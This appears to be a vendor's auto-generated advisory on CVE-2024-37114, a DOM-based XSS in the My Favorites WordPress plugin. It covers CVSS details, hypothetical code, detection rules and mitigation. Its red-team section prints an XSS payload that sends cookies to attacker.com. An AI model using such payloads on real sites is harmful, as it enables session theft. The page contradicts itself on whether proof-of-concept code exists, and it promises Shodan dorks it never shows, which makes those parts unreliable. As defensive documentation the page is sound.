CVE-2024-37114
Executive Summary
CVE-2024-37114 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin My Favorites by Takashi Matsuyama, affecting versions up to and including 1.4.3. The vulnerability stems from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. With a CVSS score of 6.5 (Medium), this flaw can be exploited without authentication but requires user interaction (e.g., clicking a crafted link). No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the risk remains for unpatched WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, users must rely on manual mitigation or removal of the plugin. The lack of vendor response raises supply chain concerns, as the plugin may be abandoned or unmaintained. Organizations using this plugin should assess its necessity and consider replacing it with an actively maintained alternative.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a malicious link or visit a crafted page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. Exploitation requires user interaction, but the DOM-based nature allows script execution in the victim's browser, potentially leading to session hijacking, credential theft, or defacement.
Deep Dive & Mechanics
The vulnerability resides in the my-favorites plugin's JavaScript handling of user-supplied data. DOM-Based XSS occurs when client-side scripts dynamically update the DOM using untrusted input without proper sanitization. In this case, the plugin likely reads data from document.location, document.URL, or window.name and injects it into the page via innerHTML or similar methods.
Attack Flow:
- Attacker crafts a malicious URL containing a JavaScript payload in a parameter or fragment (e.g.,
#<script>alert('XSS')</script>). - Victim clicks the link, which loads the vulnerable WordPress page.
- The plugin's JavaScript extracts the payload from the URL and inserts it into the DOM without sanitization.
- The payload executes in the victim's browser, allowing the attacker to steal cookies, redirect to phishing sites, or perform actions on behalf of the user.
Root Cause: Lack of input validation and output encoding in client-side code. The plugin fails to use safe DOM manipulation methods (e.g., textContent instead of innerHTML) and does not escape special characters.
Vulnerable vs. Patched Code
Since no patch is available, the following shows a hypothetical vulnerable code snippet and a secure version.
Vulnerable Code (JavaScript):
// my-favorites.js (v1.4.3)
var userInput = window.location.hash.substring(1);
document.getElementById('favorites-list').innerHTML = userInput;
Patched Code (Hypothetical):
// my-favorites.js (patched)
var userInput = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(userInput);
document.getElementById('favorites-list').textContent = sanitized;
The patched version uses textContent (which does not interpret HTML) and applies DOMPurify for additional safety.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress site with My Favorites plugin <= 1.4.3.
- Ability to craft a malicious URL.
Exploitation Steps:
- Identify the vulnerable parameter (e.g.,
#fragment or?query). - Craft a payload:
https://target.com/?favorite=<img src=x onerror=alert(document.cookie)> - Send the link to the victim via phishing email or social engineering.
- Upon click, the payload executes, exfiltrating cookies or performing actions.
Example Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Defensive)
Detection & Prevention:
- Monitor web logs for unusual URL fragments or query strings containing
<script>,onerror, orjavascript:. - Deploy a Web Application Firewall (WAF) with rules to block XSS patterns.
- Use Content Security Policy (CSP) headers to restrict script execution.
- Regularly scan WordPress plugins for known vulnerabilities.
Lab Setup:
- Install WordPress with My Favorites plugin v1.4.3 on a local server.
- Use a browser with developer tools to inspect DOM manipulation.
- Test with benign payloads (e.g.,
<b>test</b>) to confirm injection.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
my-favoritesin the URL path. - URL parameters or fragments with XSS payloads (e.g.,
<script>,onerror). - Outbound connections to unknown domains (data exfiltration).
- HTTP requests containing
Host IOCs:
- Presence of
my-favoritesplugin in/wp-content/plugins/. - Modified JavaScript files in the plugin directory.
- Suspicious entries in WordPress database (e.g., injected scripts in post content).
- Presence of
File IOCs:
wp-content/plugins/my-favorites/my-favorites.js(vulnerable version).- Checksum mismatch for plugin files.
Detection Engineering
YARA Rule
rule CVE_2024_37114_DOM_XSS {
meta:
description = "Detects vulnerable My Favorites plugin JavaScript files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-37114"
strings:
$vuln_func = "innerHTML" nocase
$vuln_source = "location.hash" nocase
$plugin_id = "my-favorites" nocase
condition:
$plugin_id and $vuln_func and $vuln_source
}
Sigma Rule
title: CVE-2024-37114 DOM-Based XSS in My Favorites Plugin
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1a3d4f5e6c
status: experimental
description: Detects potential exploitation of DOM XSS in My Favorites WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: "/wp-content/plugins/my-favorites/"
cs-uri-query|contains:
- "<script"
- "onerror="
- "onload="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of similar patterns in other plugins
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-37114 DOM XSS in My Favorites Plugin"; flow:to_server,established; content:"/wp-content/plugins/my-favorites/"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or remove the My Favorites plugin until a patch is released.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Add Content Security Policy (CSP) headers:
default-src 'self'; script-src 'self'. - Educate users about phishing links and suspicious URLs.
Long-Term Measures:
- Replace the plugin with an actively maintained alternative (e.g., "WP Favorites").
- Regularly audit WordPress plugins for vulnerabilities.
- Subscribe to security advisories for WordPress ecosystem.
Patch Status: No official patch available. Monitor the WordPress plugin repository for updates.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.